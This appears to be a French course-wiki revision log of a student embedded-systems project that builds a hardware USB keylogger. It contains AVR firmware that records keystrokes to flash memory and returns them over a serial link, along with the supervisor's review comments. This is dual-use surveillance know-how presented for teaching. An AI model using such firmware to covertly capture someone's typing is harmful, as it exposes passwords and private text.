Concernant les envoies d'octets via la liaison série, j'ai donc rajouté des délais avec les fonctions de la librairie &amp;lt;code&amp;gt;Serial.h&amp;lt;/code&amp;gt; de LUFA. Le déroulé se passe comme ci-dessous :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
while(!Serial_IsSendReady());&lt;br /&gt;
Serial_SendData(tableau_de_7_octets);&lt;br /&gt;
while(!Serial_IsSendComplete());&lt;br /&gt;
.....&lt;br /&gt;
while(!Serial_IsSendComplete());&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et pour la réception :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
if (Serial_IsCharReceived())&lt;br /&gt;
{&lt;br /&gt;
    uint8_t Modifier = Serial_ReceiveByte();&lt;br /&gt;
    while(!Serial_IsCharReceived());&lt;br /&gt;
    uint8_t KeyCode1 = Serial_ReceiveByte();&lt;br /&gt;
    while(!Serial_IsCharReceived());&lt;br /&gt;
    ...&lt;br /&gt;
    uint8_t KeyCode5 = Serial_ReceiveByte();&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Donc il n'y a plus de boucle qui vérifie le code 0xFF. On n'utilise seulement les fonctions fournit par LUFA maintenant.&lt;br /&gt;
&lt;br /&gt;
De plus, j'ai ajouté les 5 autres KeyCode qui pourrait être renseignés via le rapport clavier sur l'AT90.&lt;br /&gt;
&lt;br /&gt;
On peut voir ci-dessous la nouvelle fonction de création et d'envoi de rapport clavier de l'AT90. Tout d'abord, on enregistre tout les codes à envoyé dans un tableau de 7 octets. Ainsi on a juste à utiliser la fonction &amp;lt;code&amp;gt;Serial_SendData&amp;lt;/code&amp;gt; pour envoyer en une fois tout les codes. Ensuite on vérifie si on doit passer à la page suivante dans la flash ou non, et puis on vérifie si on doit enregistrer ou non le buffer de la flash dans la mémoire, pour finir par remplir le buffer de la flash.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
/* Serial communication */&lt;br /&gt;
uint8_t Data_to_Send[7];&lt;br /&gt;
&lt;br /&gt;
Data_to_Send[0] = KeyboardReport.Modifier;&lt;br /&gt;
Data_to_Send[1] = KeyboardReport.KeyCode[0];&lt;br /&gt;
Data_to_Send[2] = KeyboardReport.KeyCode[1];&lt;br /&gt;
Data_to_Send[3] = KeyboardReport.KeyCode[2];&lt;br /&gt;
Data_to_Send[4] = KeyboardReport.KeyCode[3];&lt;br /&gt;
Data_to_Send[5] = KeyboardReport.KeyCode[4];&lt;br /&gt;
Data_to_Send[6] = KeyboardReport.KeyCode[5];&lt;br /&gt;
&lt;br /&gt;
while(!Serial_IsSendReady());&lt;br /&gt;
Serial_SendData(Data_to_Send, 7);&lt;br /&gt;
while(!Serial_IsSendComplete());&lt;br /&gt;
_delay_ms(10);&lt;br /&gt;
&lt;br /&gt;
/* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
if (*page_buffer_size == (FLASH_PAGE_INDEX_MAX+1)) {&lt;br /&gt;
	 *page_buffer_size = 0;&lt;br /&gt;
	(*page_actual)++;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/* AT45DB641E communication */&lt;br /&gt;
/* Checking if the flash buffer is full */&lt;br /&gt;
if (*flash_buffer_i == FLASH_BUFFER_SIZE) {&lt;br /&gt;
	/* Recup of the data of the actual page to re-write on */&lt;br /&gt;
	uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
	if (*page_buffer_size != 0)&lt;br /&gt;
		AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
	memcpy(&amp;amp;(data[*page_buffer_size]), flash_buffer, FLASH_BUFFER_SIZE);&lt;br /&gt;
&lt;br /&gt;
	/* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
	AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
	/* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
	AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
&lt;br /&gt;
	/* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
	while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
		LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
	}&lt;br /&gt;
	LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
&lt;br /&gt;
	memset(flash_buffer, 0, FLASH_BUFFER_SIZE);&lt;br /&gt;
	*page_buffer_size += FLASH_BUFFER_SIZE;&lt;br /&gt;
	*flash_buffer_i = 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/* Writing the Modifier and Keycodes in the flash_buffer */&lt;br /&gt;
for (int i = 0; i &amp;lt; 7; i++) flash_buffer[(*flash_buffer_i)++] = Data_to_Send[i];&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Le test &amp;lt;code&amp;gt;(*flash_buffer_i == FLASH_BUFFER_SIZE)&amp;lt;/code&amp;gt; est joueur. Ca passe parce que tu as des paquets de 7 octets pour une taille de bloc de 63 octets. Mais si quelqu'un veut agrandir la taille du bloc ça peut faire mal. Mets une constante pour la taille des paquets (7) et défini la taille de bloc comme un multiple de la taille des paquets :&lt;br /&gt;
 #define CODES_PACKET_SIZE 7&lt;br /&gt;
 #define FLASH_BUFFER_SIZE (9*CODES_PACKET_SIZE)&lt;br /&gt;
&lt;br /&gt;
Benjamin : Pas de soucis, j'en ai profité aussi pour modifier les autres variables concernant le parcourt du buffer de la flash, comme la taille des valeurs à envoyer, la condition dans les boucles et la longueur à copier que l'on renseigne dans la fonction &amp;lt;code&amp;gt;memcpy&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Concernant l'envoi des touches mémorisés qui se trouvent dans la fonction &amp;lt;code&amp;gt;Flash_Task&amp;lt;/code&amp;gt; :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(int *page_actual, int *page_buffer_size, uint8_t *flash_buffer, int *flash_buffer_i)&lt;br /&gt;
{&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t Command_Byte = Serial_ReceiveByte();&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_RESET)&lt;br /&gt;
		{&lt;br /&gt;
			*page_actual 			= 0;&lt;br /&gt;
			*page_buffer_size = 0;&lt;br /&gt;
			memset(flash_buffer, 0, FLASH_BUFFER_SIZE);&lt;br /&gt;
			*flash_buffer_i = 0;&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0xC7, NULL, 0);&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0x94, NULL, 0);&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0x80, NULL, 0);&lt;br /&gt;
			AT45DB641E_cmd(&amp;amp;SPI_PORT, SPI_SS, 0x9A, NULL, 0);&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_GET)&lt;br /&gt;
		{&lt;br /&gt;
			int address, byte;&lt;br /&gt;
			uint8_t Data_to_Send[7];&lt;br /&gt;
			for (address = 0; address &amp;lt;= (*page_actual); address++)&lt;br /&gt;
			{&lt;br /&gt;
				uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
				AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
				for (byte = 0; byte &amp;lt; (address == (*page_actual) ? *page_buffer_size : FLASH_PAGE_INDEX_MAX+1); byte += 7)&lt;br /&gt;
				{&lt;br /&gt;
					// for (k = 0; k &amp;lt; 7; k++)&lt;br /&gt;
					// 	Data_to_Send[k] = data[byte + k];&lt;br /&gt;
					memcpy(Data_to_Send, &amp;amp;(data[byte]), 7);&lt;br /&gt;
&lt;br /&gt;
					while (!Serial_IsSendReady());&lt;br /&gt;
					Serial_SendData(Data_to_Send, 7);&lt;br /&gt;
					while (!Serial_IsSendComplete());&lt;br /&gt;
					_delay_ms(10);&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
			for (byte = 0; byte &amp;lt; (*flash_buffer_i); byte += 7)&lt;br /&gt;
			{&lt;br /&gt;
				// for (k = 0; k &amp;lt; 7; k++)&lt;br /&gt;
				// 	Data_to_Send[k] = flash_buffer[byte + k];&lt;br /&gt;
				memcpy(Data_to_Send, &amp;amp;(flash_buffer[byte]), 7);&lt;br /&gt;
&lt;br /&gt;
				while (!Serial_IsSendReady());&lt;br /&gt;
				Serial_SendData(Data_to_Send, 7);&lt;br /&gt;
				while (!Serial_IsSendComplete());&lt;br /&gt;
				_delay_ms(10);&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Si l'octet de commande est celui du reset de la mémoire, on remet à zéro tout les indices concernant la mémoire et le buffer de la flash. Puis on appelle une commande de la flash qui consiste à réinitialiser toute la puce.&lt;br /&gt;
&lt;br /&gt;
Lorsque la commande est celui de la récupération de la mémoire, on lit et envoie toutes les données des pages mémoires dans la flash, puis on envoie aussi les données qui se trouve potentiellement dans le buffer de la flash.&lt;br /&gt;
&lt;br /&gt;
Au final, dans le programme de l'AT90, on se retrouve avec deux nouvelles variables &amp;lt;code&amp;gt;flash_buffer&amp;lt;/code&amp;gt; qui est le tableau de taille 63 (capable de stocker 9 entrées du clavier) et &amp;lt;code&amp;gt;flash_buffer_i&amp;lt;/code&amp;gt; qui nous permet de suivre l'évolution du remplissage du buffer. De plus, on peut voir l'ajout d'un délai de 10 millisecondes qui permet d'espacer chaque envoie en plus de la fonction &amp;lt;code&amp;gt;Serial_IsSendComplete&amp;lt;/code&amp;gt; afin de ne pas avoir un caractère qui saute à la réception.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Concernant le programme de l'ATMEGA, pas grand chose n'a changé si ce n'est la façon de recevoir les octets de données des touches tapés :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		ReportData-&amp;gt;Modifier = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[1] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[2] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[3] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[4] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[5] = Serial_ReceiveByte();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On attend à partir de la fonction &amp;lt;code&amp;gt;Serial_IsCharReceived&amp;lt;/code&amp;gt; qu'un octet soit sur le flux de la liaison série. Puis on récupère l'octet via la fonction &amp;lt;code&amp;gt;Serial_ReceiveByte&amp;lt;/code&amp;gt;. Assez simple finalement ! = )&lt;br /&gt;
[[Fichier:Keylogger schéma connexion uP.png|vignette|504x504px|Schéma décrivant les connexions des broches entre les microcontrôleurs]]&lt;br /&gt;
&lt;br /&gt;
= Documents Rendus =&lt;br /&gt;
[[:Fichier:Keyboard-Device-Atmega (Semaine 1).zip#file]]&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans la fonction &amp;lt;code&amp;gt;LEDs_ToggleLEDs&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans le &amp;lt;code&amp;gt;makefile&amp;lt;/code&amp;gt;, la fréquence de lu quartz externe est de 8Mhz. Mettre le code ci-dessous en début de fonction &amp;lt;code&amp;gt;main&amp;lt;/code&amp;gt; :&lt;br /&gt;
 CLKSEL0 = 0b00010101;   // sélection de l'horloge externe &amp;lt;ref name=&amp;quot;:0&amp;quot; group=&amp;quot;Code associé&amp;quot; /&amp;gt;&lt;br /&gt;
 CLKSEL1 = 0b00001111;   // minimum de 8Mhz&lt;br /&gt;
 CLKPR = 0b10000000;     // modification du diviseur d'horloge (CLKPCE=1)&lt;br /&gt;
 CLKPR = 0;              // 0 pour pas de diviseur (diviseur de 1)&lt;br /&gt;
Tests AT45DB641E : [[:Fichier:TestMem CMD WR.zip|Fichiers de test mémoire]]&lt;br /&gt;
&lt;br /&gt;
Tests AT90USB647 : [[:Fichier:KeyboardHost.zip|Fichiers KerboardHost]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Fichiers Keylogger : [[:Fichier:Keylogger.zip|Fichiers Keylogger]] | [[:Fichier:Keyboard to PC.zip|Fichiers Keylogger sans la mémoire]] | [[:Fichier:Keylogger Serial Testing.zip|Fichiers d'expérimentation pour la liaison série]]&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références vidéo&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références image&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references group=&amp;quot;Image&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références code&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references group=&amp;quot;Code associé&amp;quot; /&amp;gt;&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:2023_EC5_Keylogger.zip&amp;diff=846</id>
		<title>Fichier:2023 EC5 Keylogger.zip</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:2023_EC5_Keylogger.zip&amp;diff=846"/>
		<updated>2023-08-15T07:36:45Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : Bnguyen1 a téléversé une nouvelle version de Fichier:Keylogger.zip&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Description ==&lt;br /&gt;
Programmes Keylogger pour l'AT90USB647 et l'ATMEGA16U2&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=845</id>
		<title>SE4 2022/2023 EC5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=845"/>
		<updated>2023-08-15T07:29:11Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : Ajout du schéma des connexions entre les deux uP&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Objectifs =&lt;br /&gt;
&lt;br /&gt;
Il vous est demandé de : &lt;br /&gt;
* réaliser un keylogger en partant d'un prototype réalisé par un élève des années précédentes, ce prototype comporte :&lt;br /&gt;
** un microcontrôleur AT90USB647 pour pouvoir utiliser un projet LUFA en mode hôte,&lt;br /&gt;
** un microcontrôleur ATMega16u2 pour pouvoir utiliser un projet LUFA en mode périphérique,&lt;br /&gt;
** une mémoire flash pour pouvoir sauver les touches capturées ;&lt;br /&gt;
* commencez par écrire un programme, basé sur la démonstration LUFA bas-niveau Keyboard pour vérifier que la partie ATMega16u2 de la carte fonctionne ;&lt;br /&gt;
* poursuivez en vérifiant que vous avez accès, à partir de l'AT90USB647 à la carte mémoire AT45DB641E, vous pouvez vous baser sur le code des PeiP ;&lt;br /&gt;
* vous pourrez alors tester la démonstration LUFA hôte bas-niveau KeyboardHost ;&lt;br /&gt;
* enfin terminez en récupérant les symboles lus par l'AT90USB647 sur le clavier USB pour les transmettre par UART à l'ATMega16u2 puis au PC ;&lt;br /&gt;
* il reste à stocker les symboles au passage dans la mémoire flash et à prévoir une interface particulière sur l'ATMega16u2 pour récupérer les informations.&lt;br /&gt;
&lt;br /&gt;
= Matériel nécessaire =&lt;br /&gt;
&lt;br /&gt;
Vous avez besoin du prototype de la carte keylogger et d'un Arduino configuré en programmateur AVR ISP.&lt;br /&gt;
&lt;br /&gt;
[[file:2023-keylogger-schema.png|thumb|400px|left|Schéma électronique]]&lt;br /&gt;
[[file:2023-keylogger-pcb.png|thumb|400px|right|Routage]]&lt;br /&gt;
&lt;br /&gt;
Le schéma électronique et le routage de cette carte sont donnés dans les figures ci-contre.&lt;br /&gt;
&lt;br /&gt;
Le [[file:2023-keylogger-fritzing.zip]] fichier Fritzing de la carte est disponible (à renommer en &amp;lt;code&amp;gt;.fzz&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Le dernier projet sur ce sujet est disponible sur l'ancien Wiki [https://wiki-ima.plil.fr/mediawiki//index.php/IMA4_2020/2021_EC2].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;clear: both;&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Travail réalisé =&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 1&amp;lt;/u&amp;gt; ===&lt;br /&gt;
En premier temps, je me suis intéressé au fonctionnement, aux outils et librairie nécessaire au fonctionnement de la librairie LUFA.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de comprendre comment créer un projet LUFA grâce aux démos, d'installer les programmes tel que dfu-programmer et avr-gcc.&lt;br /&gt;
&lt;br /&gt;
Cependant, n'ayant pas de PC natif linux, j'ai d'abord essayer avec Windows Sous Linux (qui est la solution que j'ai utilisé tout au long de l'année) mais je n'arrivais pas à apercevoir le périphérique USB de la carte Atmega16u2, j'ai donc essayé d'installer et utiliser une VM Linux et j'ai pu lier le périphérique DFU Bootloader de l'Atmega vers la VM afin de téléverser le programme de démo device : Keyboard.&lt;br /&gt;
[[Fichier:Capture d'écran Ouverture Fritzing.png|vignette]]&lt;br /&gt;
J'ai essayé d'ouvrir le fichier schématique de la carte électronique qui fonctionne très bien, mis à part trois fichier/modèle manquant dans l'archive comme les boutons reset et l'AT90. Ainsi, j'ai pu déterminer où été branché les leds à l'Atmega afin de configurer le programme de démo LUFA. &lt;br /&gt;
&lt;br /&gt;
J'ai réussi à téléverser un programme et à contrôler les leds de la carte électronique du côté de l'Atmega, mais je pense qu'il doit toujours y avoir des erreurs dans la configuration du programme. En effet, lorsque je regarde la description du périphérique USB de l'Atmega, j'observe qu'il n'y a pas d'Endpoint présent dans la description.&lt;br /&gt;
&lt;br /&gt;
Enfin, je n'arrivais pas à récupérer une fonction de délai afin de faire clignoter les leds, donc j'ai essayé d'implémenter les boutons de la carte électronique qui fonctionne bel et bien, plus qu'à regarder la vidéo pour voir le code à l'action !&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Vidéo :&amp;lt;/u&amp;gt;  [[:Fichier:EC5-Semaine1.mp4]]&amp;lt;ref&amp;gt;Vidéo rapport semaine 1&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Impossible de voir quelle erreur tu as fait pour les LED : pas de code dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La vidéo n'existe plus merci de la télécharger dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La fonction de délai est &amp;lt;code&amp;gt;_delay_ms&amp;lt;/code&amp;gt;, le fichier d'inclusion nécessaire est &amp;lt;code&amp;gt;util/delay.h&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 2&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
L'erreur apparaît car la fonctionnalité USB côté Atmega16u2 n'est pas implémenter/implémentable.&lt;br /&gt;
&lt;br /&gt;
ReX : Cette phrase n'a pas de sens l'ATMega16u2 est bien doté d'une implantation USB matérielle. A la livraison du matériel j'ai aussi montré le bon fonctionnement du mode DFU/USB et la façon d'y faire entre le microcontrôleur.&lt;br /&gt;
&lt;br /&gt;
ReX : Au vu des erreurs dans le projet LUFA je crois comprendre ce que vous voulez dire c'est que vos erreurs dans le projets LUFA font que la fonctionnalité USB de ce projet est défaillante. Corrigez, testez à nouveau ...&lt;br /&gt;
[[Fichier:Image.png|vignette]]&lt;br /&gt;
Benjamin : Après avoir corriger le code pour le 16u2, j'ai essayé d'implémenter un code pour l'USB647, mais lorsque je regarde dans mes périphériques, mon ordinateur ne reconnaît pas ... J'ai essayé de voir dans les travaux déjà réalisé et ai trouvé qu'il y'avait une manière particulière de bootloader le micro contrôleur (à la même manière qu'avec le 16u2) &amp;lt;ref group=&amp;quot;Image&amp;quot;&amp;gt;[[:Fichier:Keyboard problem2.jpg]]&amp;lt;/ref&amp;gt;, mais le périphérique reste inconnu pour ma machine.&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai réussi à trouver le périphérique en téléchargeant le logiciel [https://www.microchip.com/en-us/development-tool/flip FLIP] et en suivant cette vidéo (&amp;lt;nowiki&amp;gt;https://youtu.be/Vd0F0XHzchY&amp;lt;/nowiki&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
ReX : Tu tentes de faire le projet sous windows ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, j'utilise une VM Linux pour faire le projet, mais je n'ai que des machines Windows chez moi et impossible de Dual Boot mon PC.&lt;br /&gt;
&lt;br /&gt;
ReX ; Dans ce cas tu peux affecter le périphèrique USB en mode DFU à la machine virtuelle et téléverser avec &amp;lt;code&amp;gt;dfu-programmer&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Une preuve du fonctionnement pour l'ATMega16u2 ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, il n'y a pas de preuve du fonctionnement de l'ATMega16u2 concernant la partie USB, néanmoins de part la consigne de la première étape qui m'a été donné ci-dessus, il est question de vérifier le fonctionnement du microcontrôleur et donc de savoir si il est aussi possible de téléverser un programme sur celui-ci. On peut donc voir par la vidéo fourni la semaine dernière que le microcontrôleur fonctionne correctement, sans pour autant avoir la partie USB fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
Cependant, en téléversant la démo fourni par LUFA, on voit que l'ATMega16u2 prend le contrôle de mon clavier [[:Fichier:Video-atmega16u2-usb.mp4|(voir vidéo)]]&amp;lt;ref&amp;gt;[[:Fichier:Video-atmega16u2-usb.mp4|Video-atmega16u2-usb]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu je te vois taper sur ton clavier ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai essayé de voir pour résoudre le problème concernant la connexion à l'USB647, mais je n'ai toujours pas de solution. J'essaie de voir pour emprunter une machine à un ami qui soit sous booté sous Linux afin de voir si le problème vient du système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu, alors 1) faire SE sans machine Linux c'est quand même un problème 2) au pire démarre un Linux live sur une clef USB. Tu vas quand même pas t'arrêter sur ce genre de détail !&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 3&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Benjamin : J'ai booté un ancien PC avec une distribution Linux et j'arrive enfin à utiliser l'AT90USB647. J'ai alors configuré le code réalisé par les PeiP en renseignant les bonnes informations à propos de la Flash et des Leds. Cependant, en téléversant mon programme, les leds ne s'allume pas, j'ai essayé de regarder si la tension était bonne aux broches des Leds (Broches F5 et F6) et il semble que la tension délivré soit la basse impédance. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Fichier :&amp;lt;/u&amp;gt; [[:Fichier:MassStoragePeiP.zip|Archive Code_AT90USB]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Question :&amp;lt;/u&amp;gt; Y'a t'il des choses à configurer correctement afin d'utiliser l'AT90USB ? Car dans l'état, je ne peux pas savoir si tout fonctionne sans témoin visuel. &lt;br /&gt;
&lt;br /&gt;
Update : Tout fonctionne concernant l'AT90USB647, les LEDS avaient été soudées à l'envers.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 4&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Pendant cette semaine, j'ai essayé de mettre en place les deux démos de la librairie LUFA : MassStorage et KeyboardHost, énoncés dans les tâches à effectuer ci-dessus.&lt;br /&gt;
&lt;br /&gt;
ReX : J'ai beau chercher je vois pas où j'ai demandé de tester MassStorage sur l'AT90USB, dans mon esprit c'était les programmes de test de la mémoire qui peuvent se trouver sur le site des BE SE PeiP.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Je pense que je suis parti sur MassStorage car en fouillant sur le [https://peip-ima.plil.fr/mediawiki/index.php/BE_2022-2023 wiki] j'avais trouvé ce [https://peip-ima.plil.fr/mediawiki/images/6/6b/MassStoragePeiP.zip fichier], alors que vous faisiez référence à ce [https://peip-ima.plil.fr/mediawiki/index.php/Binome2019-2 projet].&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;MassStorage :&amp;lt;/u&amp;gt;'' J'ai repris le code [[:Fichier:MassStoragePeiP.zip|MassStoragePeiP]] et ai adapté les broches de leds aux broches PD2 et PD3 qui pouvait être récupérer via des broches mâles afin de faire clignoter des leds sur une board externe, en attendant de résoudre le problème des leds souder à l'envers.&lt;br /&gt;
&lt;br /&gt;
ReX : Alors 1) ce code ne fait aucun test sur la mémoire, voir les tests TestMem, TestMemRW et TestMemRW2 comme indiqué par courriel 2) les LEDs ne marcheront pas correctement tant que l'AT90USB n'aura pas été lancé sur l'horloge interne et tant que le JTAG n'aura pas été désactivé, voir le programme Blink envoyé par courriel.&lt;br /&gt;
&lt;br /&gt;
Je pense que tout est bien configuré et tout fonctionne concernant la liaison entre l'AT90 et l'AT45 car les clignotements de leds entre chaque tâche d'appel est présent ce qui indiquerait un bon fonctionnement.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu non pratiquement rien n'est correctement configuré (voir remarque précédente), de plus je ne vois où tu es sensé avoir vérifié quelque chose via les LED, le fait que tu n'indiques pas les modifications apportées en ce sens n'aide pas. Par contre l'idée d'utiliser des LED externes sur plaque d'essai est une bonne idée en attendant de réparer la carte fournie.&lt;br /&gt;
&lt;br /&gt;
'''''Update :''''' Après en avoir discuté avec ReX par mail, l'utilisation de la démo MassStorage pour tester la flash était overkill, il m'a donc donné un programme pour tester la mémoire (que l'on retrouve sur le wiki des PeiP : [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip lien]).&lt;br /&gt;
&lt;br /&gt;
ReX : Oui :)&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;KeyboardHost :&amp;lt;/u&amp;gt;'' J'ai repris la démo de la librairie LUFA que je n'ai pas beaucoup modifié pour pouvoir l'utiliser, et tout semble bien fonctionner après le téléversement du programme.&lt;br /&gt;
&lt;br /&gt;
ReX : Oui mais ça aiderait d'avoir le projet pour vérifier si le JTAG est bien désactivé, si le microcontrôleur est bien lancé sur l'horloge externe, etc.&lt;br /&gt;
&lt;br /&gt;
Cependant, puisque les seuls leds que j'ai pour l'instant à ma disposition occupe les broches pour la communication UART (liaison série), je n'arrivais pas à comprendre pourquoi je n'avais pas le comportement que j'avais essayé d'avoir via le programme (clignotement de led dans certains cas et autre), avant de comprendre que les signaux que les leds recevait était la communication UART.&lt;br /&gt;
&lt;br /&gt;
ReX : Le port série est effectivement utilisé dans la démonstration LUFA pour afficher quelques touches, il faudrait plutôt que tu changes l'état de tes 2 LED si des touches bien précises sont appuyées, avec 2 LED, tu peux tester 4 touches c'est déjà ça.&lt;br /&gt;
&lt;br /&gt;
Mis à part ça, j'ai connecté un clavier via le port USB de la carte et j'observe que le clavier est bien lié à l'ordinateur qui alimente la carte électronique. Le microcontrôleur agît bien comme un clavier hôte.&lt;br /&gt;
&lt;br /&gt;
ReX : Je ne comprend pas là, il est impossible que le clavier soit reconnu si tu connectes l'ATMega16u2 à ton PC, tout ce qu'il va voir c'est la démonstration LUFA que tu as chargé dans l'ATMega16u2, rien à voir.&lt;br /&gt;
&lt;br /&gt;
